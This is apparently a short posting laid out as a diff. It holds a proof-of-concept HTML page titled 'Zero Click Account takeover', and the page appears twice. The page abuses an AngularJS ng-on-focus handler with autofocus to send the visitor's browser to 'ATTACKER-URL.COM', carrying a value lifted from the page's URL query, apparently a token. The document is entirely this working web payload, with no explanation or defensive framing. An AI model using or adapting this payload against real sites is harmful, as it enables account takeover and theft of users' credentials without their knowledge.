1dayluo · November 2, 2023 06:11
diff --git a/javascript b/javascript
 <!DOCTYPE html>
 <html>
 <head>
 <meta charset=”utf-8" />
 <title>Zero Click Account takeover</title>
 <meta name=”description” content=”” />
 <meta name=”viewport” content=”width=device-width” />
 <base href=”/” />
 <script src=”lib/socket.io.min.js”></script>
 </head>
 <body>
 <script src=”scripts/vendor-31****a1.js”></script>
 <div ng-app=”” ng-init=””>
 <input ng-on-focus=”$event.view.location = ‘https://ATTACKER-URL.COM/' %2b $event.view.location.search.slice(1).split(‘%26’)[2].split(‘=’)[1]” autofocus />
 </div>
 </body>
 </html>
	<!DOCTYPE html>
	<html>
	<head>
	<meta charset=”utf-8" />
	<title>Zero Click Account takeover</title>
	<meta name=”description” content=”” />
	<meta name=”viewport” content=”width=device-width” />
	<base href=”/” />
	<script src=”lib/socket.io.min.js”></script>
	</head>
	<body>
	<script src=”scripts/vendor-31****a1.js”></script>
	<div ng-app=”” ng-init=””>
	<input ng-on-focus=”$event.view.location = ‘https://ATTACKER-URL.COM/' %2b $event.view.location.search.slice(1).split(‘%26’)[2].split(‘=’)[1]” autofocus />
	</div>
	</body>
	</html>